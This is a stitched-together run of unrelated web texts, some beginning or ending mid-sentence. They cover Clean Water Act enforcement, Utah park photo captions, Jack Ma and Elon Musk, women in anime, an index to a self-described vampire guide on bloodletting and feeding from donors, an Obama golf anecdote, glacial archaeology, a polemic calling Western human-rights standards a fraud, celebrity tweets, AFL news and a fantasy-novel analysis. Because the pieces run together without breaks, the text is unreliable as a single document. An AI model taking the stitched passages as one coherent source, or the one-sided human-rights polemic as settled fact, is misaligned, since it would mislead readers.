to say that government storm troopers are going to invade your property, farmers in the Midwest will light up their congressmen’s switchboards,” said the coalition member, who asked not to be identified because he thought his descriptions would anger other coalition participants. Mr. Beck, a conservative commentator on Fox News, spoke at length against the Clean Water Restoration Act in December. The American Land Rights Association, another organization opposed to legislation, wrote last June that people should “Deluge your senators with calls, faxes and e-mails.” A news release the same month from the American Farm Bureau Federation warned that “even rainwater would be regulated.” “If you erase the word ‘navigable’ from the law, it erases any limitation on the federal government’s reach,” said Mr. Parrish of the American Farm Bureau Federation. “It could be a gutter, a roadside ditch or a rain puddle. But under the new law, the government gets control over it.” Photo Legislators say these statements are misleading and intended to create panic. “These claims just aren’t true,” said Senator Benjamin L. Cardin, Democrat of Maryland. He helped push the bill through the Senate Environment and Public Works Committee. “This bill,” he said, “is solely aimed at restoring the law to what it covered before the Supreme Court decisions.” Advertisement Continue reading the main story The consequences of the Supreme Court decisions are stark. In drier states, some polluters say the act no longer applies to them and are therefore refusing to renew or apply for permits, making it impossible to monitor what they are dumping, say officials. Cannon Air Force Base near Clovis, N.M., for instance, recently informed E.P.A. officials that it no longer considered itself subject to the act. It dumps wastewater — containing bacteria and human sewage — into a lake on the base. More than 200 oil spill cases were delayed as of 2008, according to a memorandum written by an E.P.A. official and collected by Congressional investigators. And even as the number of facilities violating the Clean Water Act has steadily increased each year, E.P.A. judicial actions against major polluters have fallen by almost half since the Supreme Court rulings, according to an analysis of E.P.A. data by The New York Times. The Clean Water Act does not directly deal with drinking water. Rather, it was meant to regulate the polluters that contaminated the waterways that supplied many towns and cities with tap water. The two Supreme Court decisions at issue — Solid Waste Agency of Northern Cook County v. United States Army Corps of Engineers in 2001 and Rapanos v. United States in 2006 — focused on the federal government’s jurisdiction over various wetlands. In both cases, dissenting justices warned that limiting the power of the federal government would weaken its ability to combat water pollution. “Cases now are lost because the company is discharging into a stream that flows into a river, rather than the river itself,” said David M. Uhlmann, a law professor at the University of Michigan who led the environmental crimes section of the Justice Department during the last administration. In 2007, for instance, after a pipe manufacturer in Alabama, a division of McWane Inc., was convicted and fined millions of dollars for dumping oil, lead, zinc and other chemicals into a large creek, an appellate court overturned that conviction and fine, ruling that the Supreme Court precedent exempted the waterway from the Clean Water Act. The company eventually settled by agreeing to pay a smaller amount and submit to probation. Advertisement Continue reading the main story Some E.P.A. officials say solutions beyond the Clean Water Restoration Act are available. They argue that the agency’s chief, Lisa P. Jackson, could issue regulations that seek to clarify jurisdiction of the Clean Water Act. Mrs. Jackson has urged Congress to resolve these issues. But she has not issued new regulations. “E.P.A., with our federal partners, emphasized to Congress in a May 2009 letter that legislation is the best way to restore the Clean Water Act’s effectiveness,” wrote Mr. Silva in a statement to The Times. “E.P.A. and the Army Corps of Engineers will continue to implement our water programs to protect the nation’s waters and the environment as effectively as possible, including consideration of administrative actions to restore the scope of waters protected under the Clean Water Act.” In the meantime, both state and federal regulators say they are prevented from protecting important waterways. “We need something to fix these gaps,” said Mr. Tierney, the New York official. “The Clean Water Act worked for over 30 years, and we’re at risk of losing that if we can’t get a new law.”Photo courtesy of Mark Olson 2007-06-20 09.40.00 — 3.1 MB — map Island in the Sky, Canyonlands NP The unpaved path all the way down at the bottom is the South Fork Road, which is another way back to Moab. To hear talk, getting down there from the Island in the Sky Visitor Center is the easy part. Photo courtesy of Mark Olson 2007-06-20 09.00.00 — 3.4 MB — map Monitor and Merrimac, Island in the Sky, Canyonlands NP These formations are called the Monitor and the Merrimac for their resemblance to the Civil War iron-clad battleships. 2007-06-20 10.28.40 — 0.6 MB — map Grandview Point, Island in the Sky, Canyonlands NP This is Junction Butte, the southernmost tip of the Wingate formation above the confluence of the Green River with the Colorado River in Canyonlands National Park. Photo courtesy of Bryan Wooten 2007-06-20 14.00.00 — 1.4 MB — map Repairing Geraldine, Pack Creek Ranch, Moab, UT Geraldine, my 1979 GL1000 Honda Goldwing, had been acting up since I hit I-80 in southwestern Wyoming. She seemed to starve for fuel in at least one cylinder at speeds over 60 mph. and was growing worse. Nobody was going anywhere in the heat of the afternoon, so I took the carburetor rack off to see what could be the matter. The #2 float-valve screen was plugged up with silicone sealant that I had used to join the halves of the plenum the last time I cleaned the carbs. I removed the obstruction and reassembled the bike with the able assistance of Mark Olson. 2007-06-21 13.03.54 — 0.2 MB — map Balanced Rock, Arches, NP On our second full and final day in Moab, Bryan Wooten agreed to guide Lyle Gunderson and me up the Delicate Arch Trail in Arches National Park. This is Balanced Rock, which is beside the access road. 2007-06-21 12.41.08 — 0.2 MB — map Salt Wash, Arches NP "Disabled Civil War veteran John Wesley Wolfe and his son Fred settled here in the late 1800s. A weathered log cabin, root cellar, and corral give evidence of the primitive ranch they operated for over 20 years." • United States. Dept. of the Interior. National Park Service. Arches National Park. Washington, DC: GPO, 2007. 330-358/00618. 2007-06-21 12.19.50 — 0.3 MB — map Delicate Arch Trail, Arches NP The trail to Delicate Arch starts from the parking lot at Wolfe Ranch. The National Park Service rates it "moderately strenuous." It is three miles long (six miles round trip) and climbs nearly 500 feet across the "slick rock." Take a quart of water, and don't drink it all at once. 2007-06-21 11.46.00 — 0.3 MB — map Lyle and Bryan, Arches NP We started early. Pictured here are Lyle and Bryan, both still in fine fettle. Fortunately for us, we picked a partially overcast day to do this. 2007-06-21 12.00.16 — 0.3 MB — map Arches NP "Except for isolated remnants, today's major formations are salmon-colored Entrada Sandstone, in which most arches form, and buff-colored Navajo Sandstone. They stand like a layer cake over most of the park. Over time water seeped into superficial cracks, joints, and folds. Ice formed in the fissures, expanding and pressuring the rock, breaking off bits and pieces. Wind later cleaned out the loose particles, leaving a series of free-standing fins. Wind and water then attacked these fins until the cementing material in some gave way and chunks of rock tumbled out. Many of these damaged fins collapsed. Others, hard enough and balanced, survived despite missing sections. These became the famous arches. Pothole arches are formed by chemical weathering as water collects in natural depressions and then eventually cuts through to the layer below. This is the geologic story of Arches National Park — probably. The evidence is largely circumstantial." • United States. Dept. of the Interior. National Park Service. Arches National Park. Washington, DC: GPO, 2007. 330-358/00618.Jack Ma was an English teacher of modest means in the southern Chinese province of Hangzhou. He had little business experience and few connections in the Chinese government. Yet he launched a new kind of Internet company that became the $216 billion market behemoth Alibaba—the world’s largest business-to-business e-commerce marketplace. What made it possible for a teacher in rural China to create a whole new way for his country’s small business owners to gain access to the international marketplace? People often point to entrepreneurs’ resources and personal connections but Jack Ma had neither. Or consider Elon Musk, a South African-born entrepreneur who dropped out of his Stanford PhD program just two days after he began it to launch the first in a rapid succession of ground-breaking companies. Zip2, PayPal, SpaceX, Tesla Motors, and SolarCity each tackled a major problem and built a new solution from the ground up. How, by his early 40s, could Musk have created an online currency, designed and built an electric car, created a rocket company that resupplies the International Space Station, and formed the largest residential solar company in the United States? If domain expertise is the catalyst, then Musk could not have succeeded in such diverse fields. Expertise, raw talent and resources each have something to do with innovation, to be sure, yet scores of people who possess all of these ingredients nonetheless launch businesses that wither on the vine. And entrepreneurs who possess none of them continue to succeed. It happens every day. I would argue that Ma and Musk, and others like them, have a certain sensibility that strengthens their ability to identify gaps and opportunities. They see what others don’t. Entrepreneurial alertness is one way to describe it. The concept comes from the British-born economist Israel Kirzner, who illustrates how it works with the case of arbitrage in finance, where success comes to those who can uncover market discrepancies that can be exploited for financial gain. But the concept applies well beyond finance. The ability to recognize “competitive imperfection” in a marketplace is a key attribute of successful entrepreneurs. Spotting opportunities involves a substantially different way of thinking than what is required for sound execution in business. Applying logical analysis and strategic planning are the vital elements of peak corporate performance. That is why most CEOs have these skills down cold. But these attributes fall short when it comes to improvising and discovering. How can we spot opportunities that others don’t see? Through 200 interviews with today’s leading entrepreneurs, I’ve identified three key patterns of discovery. Understanding theses ‘ways of seeing’ as an Architect, Sunbird, or Integrators helps to unravel the mystery of spotting breakthrough ideas. Architects: Building New Models from Scratch Elon Musk, who embodies entrepreneurial alertness (Getty Images) Jack Ma and Elon Musk saw what was missing and built new solutions to fill the void. They are Architects: blank-sheet-of-paper creators who design and build new models from the ground up. Just as professional architects who design tall buildings work within environmental and logistical constraints, Architects deal with individual components of projects, striving to understand how each element builds upon the next. They have a unique ability to envision how separate parts fit together into a logical design. Like celebrity “starchitects,” they often reconfigure elements into something breathtakingly new. Architects have the ability to see what is not there. They listen for silence and pay attention to what others have overlooked. They build their creations in open spaces. Jack Ma focused on a part of the Chinese market that was of little interest to others at the time. In 1998, on a business trip to Seattle, Ma first saw a computer connected to the Web. On a whim he typed-in “beer” as a search term. The search engine returned sites from all around the world…except for China. He searched again, this time trying “Chinese beer.” Still nothing. In a flash of insight, Ma recognized that China’s small and medium-sized businesses were invisible on the Internet. They were not there. And he saw what a huge untapped opportunity that represented. Ma decided to test his hunch. He posted an advertisement for the English-to-Chinese translation service he had developed while teaching English at Hangzhou Teachers College. With some help, he posted a one-page site featuring the name of the service, a price list, and contact information. The site went up at 9:30 A.M. and by 5 P.M. he had received 5 emails. This was enough to convince him that he was on to something. At the time Ma was getting started, only large Chinese companies had clear sales channels to the international market. Ma knew that four-fifths of China’s companies were small and medium-sized, and they faced tremendous obstacles without a means to connect with each other or the outside world. The beauty of Alibaba
if she’s ugly it’s okay to beat her up,’ and ‘okama are creepy,’ are covered up in a nice disguise of romanticized pirates going on an adventure. She criticized the background of the male characters, the weakening of male characters when they were drawn as female characters, and how the women characters are portrayed to be uninteresting and weak. So Japanese netizens responded. There was a wide spectrum of comments, from agreement to indifference to attacking @ykhre, which can be read on Rocket News 24. It should be noted that the complexity of the situation stems from the well crafted storyline, back stories, character relationships, and universe in One Piece, which means there are multiple layers in how women are portrayed, some being much more developed and well-rounded than others. Despite that, @ykhre has a legitimate concern. The portrayal of women in anime and manga is indeed a topic of conversation, but how it relates to or reflects the role of women and the extent of sexism in Japanese society is a bigger and even more complex discussion. Another anime which has been a hot topic of discussion in the past anime year in regards to sexism is Kill La Kill. Ryuko, the protagonist, is on a search for her father and has the help of a talking school uniform that transforms when she wears it as she fights. The school uniform is the topic of debate. Does the uniform represent her being sexualized and submitting to her situation, or does it show empowerment through her willingness to wear it and get over the embarrassment of doing so? When does intent become justification and does the male-heavy staff affect it in a way that Chobit‘s female staff doesn’t? It depends on who you’re asking. Of course, there are some more definite positive portrayals of girls and women in anime and manga, such as those found in Card Captor Sakura or Sailor Moon. Sailor Moon has found fans across the world and has been extensively covered here, with special attention to how the character Sailor Jupiter, inspired her voice actor. Despite criticisms of the latest Sailor Moon, the essential core message of the series has and remains valuable. Girl power, regardless of how feminine or tomboyish a girl is, is illustrated as something to be appreciated and proud of. While romance is one of many threads in the story, the series should be recognized for how progressive it was for its time and still has value in empowering girls to be whoever they want to be. Strong, willful characters who can be both independent and caring and a wide representation of different kinds of girls is what established Sailor Moon as an influential series in anime history. Also worth discussing are the positive portrayals of women in some of Hayao Miyazaki’s work (which are highly recommended). Princess Mononoke from the film of the same name, Chihiro from Spirited Away, and Sophie from Howl’s Moving Castle are all very different characters, but with the same inner strength. Despite their differences in personality, behind a soft and quiet nature or a willful and proud one, and regardless of age and world setting, Miyazaki made his protagonists characters to appreciate and celebrate because they were not sexualized and minimized through romance. Rather, these characters were able to overcome insecurities and fears as a way to protect what and who they care about. Most importantly, these characters were able to grow from their experiences in relatable ways which inspires girls and women without telling them to change in order to fit society’s expectations of them. So we arrive here, having started with a curious look at the portrayal of women in anime and manga and arriving at a sorrowfully inconclusive but hopefully informative end. While the discussion warrants a chapter in a book, a whole book, or shelves books devoted to the nuances of the topic, hopefully this has provided a useful insight in understanding that women in anime and manga is a complex, varied topic that grows and changes with time. What other perspectives on anime girls and women do you want to know more about? Do you have any favorite female characters? Are the new stories moving in the right direction? What do you think? —Please make note of The Mary Sue’s general comment policy.— Do you follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google +?Some of what is or will be in this Guide may seem to some as being downright elementary. They may say to themselves, "DUH!!! Does Sanguinarius think we are all ignorant retards, or what?" Absolutely not! I am going on the assumption that there might be some who access this Guide who might NOT know anything about ANYTHING. At one point, NONE of us knew anything about this; somewhere along the way, we learned. Some are fortunate that they had someone who did know things to guide them and help them learn and survive (those are the ones who will say, "DUH!!" to this stuff), but others aren't so fortunate. For whatever reasons, they have nobody to help them out, and they must learn things the hard way. Some of them end up dead, junkies, injured, confined to jails -- or worse, mental institutions; if they're lucky, other people will just look at them kinda funny and mutter amongst themselves the latest rumour they've heard... This Guide is for those who need it, and can learn something from it. If you have any information, useful tips, advice, techniques, etc., on things like feeding, dealing with the thirst, health or comfort concerns, psychic attacks and shielding, or whatever else you think would be useful and beneficial, please, please send it along. I will give you credit and an email link, or a link to your page, or whatever. (You have to tell me, though, or I'll just stick it up here as Anonymous...) Newer items will be marked on their respective pages with and will not necessarily appear at the top of the page. Vampires & Blood Matters Safe Bloodletting & Feeding - Things one needs to know in order to safely draw blood & feed. Safe feeding practices, important labwork, procedures, bloodletting devices, etc. Dealing with the Bloodthirst - Tips on dealing with the hunger and cravings, blood substitutes, etc. Affecting the Taste of Blood; or, "To Serve Man" - Various methods of flavoring your donor's blood, things to avoid, etc. Cooking with Blood - Recipes that use blood, preparation, drinks... Sundry Advice - Miscellaneous useful advice that doesn't fit elsewhere. General Health, Medical, & Physical Comfort Concerns Health & Medical - Dealing with doctors, feeding from the sick, staying healthy, etc. Comfort -- Eye & Skin Protection - Various methods of avoiding discomfort from the sun & bright lights. Vampires & Psi Matters Information About Psi & Energy Vampires - General information on psi vampires and vampirism. Information About Prana & Energy - Some information on psi and energy. Psi Feeding - Information on, and methods & techniques of, psi feeding. Shields & Shielding - Under construction. Information about and methods of shielding. Techniques for Psi-Vampires - Meditation, energy control techniques, empathy, etc. Sundry Advice - Miscellaneous useful advice that doesn't fit elsewhere. Book: Psychic Vampire Codex: A Manual of Magick and Energy Work, by Michelle Belanger Donors Finding & Keeping Donors - Helpful advice on finding donors, reassuring potential donors, and keeping them. Advice to Donors - Under development. Advice to donors and potential donors. Seekers For Seekers - Information and advice that seekers will find useful. Dealing with vampires and those claiming to be vampires. Social Matters Personal Safety & Security - Dealing with threats to personal safety, security, and peace of mind; harassment, slayers, etc. Coming Out - Advice on coming out. The Newly Awakened - Under development. Dealing with the newly awakened, advice for the newly awakened, etc. Attitudes Toward Non-Vampires - Some vampires' attitudes towards non-vampires. Interview Advice and Guidelines - Some useful advice if you ever are asked for an interview, or to appear on TV radio, etc. Also Check Out These Pages Sanguinarius Articles Sarasvati's Sanguinarian Information SphynxCat's Handy Hints and Suggestions Amy Krieytaz's Info of Possible Use to Vampires Sanguinarius's Teen Vampires sectionFew couples get to chat with the president about their wedding day. But CNN is airing a video of President Obama’s phone call to a wedding couple in Hawaii who had their ceremony unceremoniously moved so that he could play golf. “I feel terrible, nobody told us,” he said in a video provided by an attendee at the wedding. “If they had just mentioned that they were going to have a wedding on the 16th hole, we would have skipped the 16th hole.” The groom called the incident a “blessing in disguise,” while the bride joked that since they moved above the 16th hole of the golf course, they were able to watch him golf. “That must have been kind of painful,” Obama replied. “What did you shoot, Mr. President?” asked the groom. “I shot an 84. If I had skipped the 16th hole, I would have shot a 79,” Obama joked. At the end of the call, Obama apologized again, but added that they would remember their wedding day for the rest of their lives. “Sorry for the change of plans,” he said. “But sounds like you guys are gonna have a great wedding and at least you will have a good story to tell.”One summer 10,300 years ago, a Native American hunter prowled the Rocky Mountains, near what’s now Yellowstone National Park. The hunter’s weapon was an atlatl, or spear thrower, used to launch stone-tipped darts at prey—bighorn sheep, perhaps—that rested in a spot where winter snow persisted, cool and free of biting insects. Although the hunter’s success is unknown, in 2007, Craig Lee picked up one of his darts—bent, missing its tip, trampled by a sheep, but still recognizable, and the oldest human artifact ever found in ice (1). This photo of the Friday ice patch, one of 28 known archaeological ice patches in southern Yukon, was taken in 1999 during a dramatic melting period. The black material in the lower right is ancient caribou dung that had recently melted out of the ice. Image courtesy of the Government of Yukon. Lee, who works at the University of Colorado Boulder, is one of a small but growing group of archaeologists who investigate permanent ice patches and glaciers. As the climate warms, the ice melts, and artifacts trickle out. If archaeologists manage to be in the right place at the right time, all they have to do is pick them up. This approach has allowed archaeologists to better understand how ancient people who lived near frigid locales, ranging from Neolithic travelers to Roman armies to Native Americans hunters, used the cold sites for hunting or travel. “This is one tiny little instance where climate change is affording us the opportunity to learn something about the past,” Lee says. “It is the tiniest of silver linings.” The situation has also pitted archaeologists in a race against time. Although they doubt Earth’s ice will melt completely, archeologists must catch as much as they can before the items sit exposed. Ancient tools and clothing are astonishingly well preserved in ice, but they start to degrade as soon as they emerge. Archaeologists stabilize and dry them for long-term storage. “The sad fact of the matter is, the few things we find are clearly the tip of the iceberg,” Lee says. “It’s inconceivable to think about what’s been lost.” Glacial archaeology differs from traditional archaeology in a couple of key ways: practitioners don’t have to dig, and they find different kinds of things. Typically, archaeologists unearth the most durable remnants of a civilization—its arrowheads, its potsherds. Thanks to the ice, alpine archaeologists find much more—leather, textiles, wooden darts, and arrows with feathers still attached. “We’re getting a glimpse into the archaeological record like we’ve never had before,” says James Dixon, director of the Maxwell Museum of Anthropology and professor of anthropology at the University of New Mexico in Albuquerque. Icy Reception A few decades ago, there was no such thing as glacial or ice patch archaeology. Although people picked up isolated artifacts as early as the 1930s (2), they assumed the findings were one-offs, not indicators of widespread use of icy territories by ancient peoples. Dixon recalls that his first ice patch grant proposal in the 1990s was rejected, in part, for that reason. He colorfully paraphrases one reviewer’s comments: “We know people never lived on ice. This is the most ridiculous idea we’ve ever heard.” However, as ice melt increased, and researchers, working at locations from the Rockies to the Alps, shared discoveries over the Internet, they realized people did use ice regularly, for hunting or travel. Some died there, notably Ötzi the “Iceman,” who traveled the Alps more than 5,000 years ago, and Kwäday Dän Ts’inchi, who died in modern-day British Columbia more than 550 years ago (3). Ice archaeologists held their first international symposium in 2008 in Bern, Switzerland, and published the first issue of Journal of Glacial Archaeology in 2014 (2). Perhaps a few dozen archaeologists worldwide are collecting frozen artifacts, estimates Greg Hare, the senior projects archaeologist with the Yukon government in Whitehorse, Yukon, Canada. Ice preserves artifacts in two different kinds of sites: glaciers and ice patches. Valley glaciers were sometimes used as mountain passes, and travelers like Ötzi left behind gear and shoes. For example, Albert Hafner and colleagues, studying the Schnidejoch pass in the Swiss Alps, have discovered Neolithic leather clothing, Roman shoe nails, and a shoe repair kit from the 14th or 15th century. The dates of their artifacts correspond to times when the climate was warm, making the area passable (4). Small ice patches, in contrast, are alpine sites where the snow never fully melts down to the ground. During cold years, the snowpack builds up; during warm summers, ice that froze long ago may melt, releasing artifacts. Animals went to ice patches to avoid insect pests, and human hunters followed. These permanent snow sites are not easy to find, but there is one clue from what the ancient prey animals left behind, Dixon says: “We look for the brown ice.” The color indicates a melting patch; downslope, they look for artifacts that flowed away as the ice liquefied. This moccasin, made from three pieces of hide sewn together with sinew thread, was found in 2003 at the Gladstone ice patch in the Yukon. At about 1,400 years old, this is the earliest example of Yukon footwear and one of the oldest such artifacts found in Canada. Image courtesy of the Government of Yukon. These three dart foreshafts would have been attached to long throwing darts or main shafts. Found near Yukon ice patches, radiocarbon dating suggests they’re 2,050–4,450 years old. Image courtesy of the Government of Yukon. Trailblazers Access to such sites varies. Dixon gets to most of his Alaskan ice patches via helicopter, whereas, elsewhere, some researchers enjoy a hike. James Dickson, a retired professor of archaeobotany of the University of Glasgow in the United Kingdom, who worked on Ötzi, trekked to the site on well-traveled trails and stayed in a hostel nearby. His identification of bog moss in the Iceman’s body led him to hypothesize that Ötzi knew about the plant’s antiseptic properties and used it to bind a wound on his hand (5). If true, this would be the earliest evidence for medicinal use of bog moss, Dickson says. Because many glacial and ice patch artifacts contain carbon, researchers can use radiocarbon dating. For example, Hare and colleagues in the Yukon have collected about 240 objects so far, including many darts and arrows. Based on the dating, he estimates that people switched from throwing spears to bows and arrows around 1,200 years ago (6). Archaeologists knew the bow and arrow showed up in North America around that date, but the more precise radiocarbon analysis allowed Hare to determine that the new weapons were adopted quite rapidly, over a few decades. The dart Lee found was made of birch, and decorated with two sets of three lines. Lee speculates these could be “ownership marks,” identifiers that help the hunter claim his kill (1). In the field, Lee finds it easy to imagine himself in that hunter’s moccasins, because the ice patch environment hasn’t changed much. “You can just sit down and watch the animals come in,” he says. “These materials go a long way towards humanizing that distant past.”There is an international discussion about the question of ‘human rights’ and I was asked to do an interview on this. So, this post, based on the interview, explains the real situation of why the West’s attempted definition of human rights is an absurd fraud – a mere propaganda distortion. * * * I want to start by making a clear statement which I will then substantiate: China’s contribution to the improvement of human rights is the greatest of any country in the world. I will explain very clearly why. The first decisive factor is that, on the latest World Bank data, China has taken 853 million people out of poverty by international World Bank standards. All the Western countries together, which have a much larger population than China within developing capitalist economies, took 252 million people out of poverty. China is responsible for 75% of the reduction of the number of people in living in poverty in the world. Incidentally another 3% came from socialist Vietnam. So socialist countries account for 78% of the reduction of the number of people living in poverty in the world and capitalist countries for 22%.I also want to explain why the western conception of human right is absolutely ridiculous and a fraud. It reduces the question of human rights to whether you have a few formal political rights or not. Let me give you an example. If you are in Africa, starving to death, and I’m afraid that in Africa there are people who face death by starvation, provided you are able to use Facebook you meet the criteria of a ‘human right’ by the Western criteria – but the fact that you are dying of starvation is not counted in the criteria of ‘human rights’! But for virtually all people, and all sensible ones, the question of whether they starve to death is much more important than the question of whether they can use Facebook or not. Let’s take another example – the question of the comparison between China and India. Again on the latest data a Chinese woman lives on average eight years longer than does an Indian woman. Chinese literacy amongst women is 94% whereas in India, literacy among women is only 63%. That means almost forty percent of Indian women can’t read or write. Over 700 million people in India don’t have a access to a toilet – an issue which affects all such people but women even more so. But according to the Western definition if you can use Facebook you have human rights but if you don’t have a toilet that is irrelevant to your human rights. But for the overwhelming majority of people who don’t have one to have a toilet is a very much more fundamental issue of human rights than being able to use Facebook. Whose human rights are really better? Are the human right of an Indian woman – an Indian woman who lives eight years less than a Chinese woman, who has an almost forty percent chance of not reading or writing, and doesn’t have a toilet – better than those of a Chinese woman because she happens to live in a parliamentary republic? Any definition which claims that result, which is what the Western one does, is absolutely absurd. The human rights of a Chinese woman are clearly much better than the human rights of an Indian woman – and I say that with regret because I would like the human rights of an Indian woman to be as good as those of a Chinese woman and I hope they will become so in the future.Clap back queen Chrissy Teigen was making fun of Donald Trump on Twitter before it was cool or a necessary survival tool to keep you from going completely insane. The model has been taking aim at the businessman turned reality star turned leader of the free world since 2011, and we have the receipts to prove it. Besides a few tweets about the Comedy Central Roast of Donald Trump (which really is a doozy, and totally worth a re-watch), this is Teigen's first of many tweets publicly dragging Trump: donald trump sure turned into a joke right? as opposed to what he was before which was so not a joke or anything. — christine teigen (@chrissyteigen) April 27, 2011 But after that, she was on a roll. Just realized I am at a Starbucks inside a trump building. I knew it smelled psychotic and racist here. — christine teigen (@chrissyteigen) May 9, 2011 Back in 2011, she even tweeted about Trump's rumored presidential run. Donald trump announces he won't run for president but will return to the apprentice. You know, since those 2 things are totally comparable. — christine teigen (@chrissyteigen) May 16, 2011Jesse White is currently sidelined with a hamstring injury which he suffered while playing in the VFL loss to Werribee just over a week ago. The injury is expected to sideline the key-forward for three to four weeks. Out of contract at season’s end, the injury has come at a poor time for the former Swan who was trying to force his way back into the Magpie line-up. White has not featured at AFL level since a six disposal game against St Kilda in round four. His lowest disposal output game since round 13, 2014. A lifeline for 2017 Jesse White, who was also out of contract at the end of last season, probably thought his time was up at AFL level before the Magpies offered him a one year deal. The fluctuating form of Travis Cloke at the time did allow White more opportunities at AFL level where he played 15 of the final 16 matches. Nathan Buckley would certainly have hoped the 29 year old would have more of a scoreboard impact earlier this season. A return of only five goals from four matches no doubt contributed to his axing from the side. Key forwards & a lack of goals The key forward stocks at Collingwood are certainly not overflowing with options. The Magpies have been keen to invest as much time as possible this season into Darcy Moore. And the youngster has played every match for a return of eight goals from nine matches. Mason Cox has also spent time forward at various stages. Fremantle recruit Chris Mayne, while not a key forward, was signed on a four year deal but has not played since round three with many pundits already questioning the wisdom of his recruitment. While not a massive goal kicker, the Magpies would have hoped Mayne could recapture some of the form he showed at Fremantle. Most notably in 2012 and 2013 where he kicked 37 & 39 goals. Most of the goals for Collingwood thus far in 2017 have come from smaller forwards. The three leading goal kickers at the club are Jamie Elliot, Alex Fasolo and Will Hoskin-Elliot. Ben Reid was expected to spend more time forward in the coming weeks but he is also on the injury list after suffering a quad injury against GWS. Alarmingly for Collingwood they are currently ranked 16th in the league for average goals. Currently averaging 11.4 goals per match. Who is to blame? The lack of scoring power has certainly led to much debate about whether the players are to blame. With goal kicking accuracy identified as a major issue or whether the game-plan is at fault. David Cloke, who has certainly been very defensive of his son Travis when under criticism in recent years, put the blowtorch well and truly on Nathan Buckley last month. “They will destroy him (Darcy Moore) because they have a game style which revolves around their midfielders getting high possessions. But don’t get the ball into their forward half. All Collingwood has concentrated on is getting a midfield, getting all these players in the midfield. What they need to do is get a game plan which tries to win games of football.” Is Jesse White the answer? Jesse White is most likely not the answer. Investing in a key-forward will need to be a priority for Collingwood at the end of the season. If Jesse White does get another opportunity in 2017, he will certainly need to perform. It is most likely the last chance he is going to get. by Liam Sheedy – contributor Follow on Facebook: Sheedy Says“I want you to make Father bring his army to King’s Landing.” “When have I ever been able to make Father do anything?” Synopsis: Tyrion takes three meetings. One, two, three meetings! Ah ah ah ah ah. SPOILER WARNING : This chapter analysis, and all following, will contain spoilers for all Song of Ice and Fire novels and Game of Thrones episodes. Caveat lector. Political Analysis: Tyrion IV gives us our eponymous protagonist at the height of his abilities as a political actor (as opposed to as a military tactician, which will come later) and it’s a real pleasure to work with this material. A fair warning: on this re-read, I noted some political topics outside the main event that bear examination, so this is likely to be a long essay indeed. The Martell Alliance Speaking of those topics – in this chapter we see Tyrion forging the basis for the Lannister-Martell alliance. And after the fact, after the arrival and departure of the Red Viper, Myrcella and Aerys Oakheart’s unfortunate intersection with Princess Arianne, Quentyn’s poor doomed mission, and the mutual double-dealing between Cersei and Doran, it’s hard to remember how offhanded Tyrion is being here: “Would you sooner not hear what I’ve proposed to Doran Martell?” “The Dornishmen have thus far held aloof from these wars. Doran Martell has called his banners, but no more. His hatred for House Lannister is well known, and it is commonly thought he will join Lord Renly. You wish to dissuade him…the only puzzle is what you might have offered for his allegiance…” “It happens we have an empty seat on the small council…I’ve offered to deliver his sister’s killers, alive or dead, as he prefers. After the war is done to be sure…my father would be the first to tell you that fifty thousand Dornishmen are worth one rabid dog.” Note that Tyrion’s objective here is to prevent Renly from gaining another ally, give the Lannisters another Great House to ally with (because at the moment, they don’t have any while they’re facing four in the field, which are bad odds as Rhaenyra and Aegon II would tell you), and possibly to force Renly to detach some of his Reach forces to guard their southern flank and even the odds up a bit. For the most part, these motives are now completely obsolete – and yet, the nature of the incentives Tyrion’s offering created long-term links between the Martells and the Small Council and the House of Lannister itself, and once you’ve done that you now have to deal with the Martell’s interests. Which brings us to the question of justice – given how disruptive and out of left field Oberyn’s arrival made it seem in ASOS, we have to acknowledge that Tyrion put justice for Elia’s murderers on the table, and thereby opened up a huge can of worms for his entire family that will continue to bedevil them throughout ASOS, AFFC, and ADWD. It certainly puts Oberyn and Doran’s actions in a different light, to say nothing of Tywin’s own refusal to hand over Gregor. Indeed, it’s odd that Tyrion, who’s normally a fairly good judge of character, completely misjudges Tywin’s future actions here – which might make us consider how rational Tywin was being there. More on this topic when we get to it, but just to preview my thoughts: I think Tyrion’s right, that it makes much more sense to bury the hatchet with the Martells (based on information available at the time) than to cling to Gregor, especially when the war was winding down. Regardless, it’s interesting to note how consequential this decision by Tyrion is – without this offer, Oberyn doesn’t die in King’s Landing although it’s quite possible Tyrion might have instead (or been sent to the Wall); Myrcella stays in King’s Landing and doesn’t march closer to her golden shroud fate (which, when is that kicking off?); and Aerys Oakheart lives. A Question of Institutions Another thing to mention before the main event is the interesting division between Tyrion and Pycelle over the question of where legitimate power is located: “the king’s council…” “The council exists to advise the king, Maester.” “Just so…and the king-“ “-is a boy of thirteen. I speak with his voice.” “So you do. Indeed. The King’s Own Hand. Yet…your most gracious sister, our Queen Regent…” I find this little exchange fascinating because Pycelle, who we’ll learn later betrayed at least two kings and three Hands (and one Regent), seems to be making an argument for the supremacy of the King over the Small Council and the Queen Regent over the Hand. Trying to detect any consistent ideological position in a veteran flip-flopper is a bit of a fruitless task – but to the extent that Pycelle has a consistent view, I think it comes from an oddly Ned-like favoring of the person over the office. Think for example of his adoration of Tywin Lannister and his willingness to betray any oath to put the man who should be king in power. So it may well be that Pycelle is taking this position here because he just dislikes Tyrion personally, and is being genuine in his admiration of “a most uncommon woman.” Tyrion, however, is making a rather succinct argument for monarchy over the monarch, as it were, by upholding the Small Council as an advisory and almost mentoring body to the king, and the Hand as an independent source of power and authority that can function when the king cannot. It’s something we don’t think about that much, but one of the important aspects of making a more powerful monarchy (if not an absolute monarchy) is the growth of the power of the royal bureaucracy as opposed to the king’s own person. After all, as Tyrion is pointing out, one of the downsides of dynastic succession is that you occasionally get a boy king, a lunatic, or someone who’s just not up for the job (or in Joffrey’s case all three), but as long as the institution is more important than the person, the system keeps functioning smoothly. No wonder Tyrion feels sympathy for Viserys II – he practically is Viserys II, trying to hold the kingdom together despite a bloodthirsty kingling (with Tommen standing in as the holy innocent). One, Two, Three But enough of the preliminaries – let’s talk about the pièce de résistance – Tyrion’s ferreting out of the spy in the Small Council through the classic tactic of floating different cover stories to different people to find out which is the mole. (Seriously, I’d lay money on GRRM being a bit of a John le Carré fan) It is one of the high points of ACOK, and one of the main reasons why I think ACOK is one of the more underrated of the ASOIAF series. One thing to note first – while this move by Tyrion will be at least part of the reason for his downfall (in that jailing Pycelle makes him an enemy during his trial, and is one of the things cited by Tywin as a reason for Tyrion’s removal from office), Tyrion is acting entirely within his orders from Tywin to assay the Small Council for treachery. If anything, given that he was cleared for “heads, spikes, wall,” Tyrion rather underplays his hand here. I’m going to break this down step-by-step, because Tyrion is working on a number of different levels. Step One is his 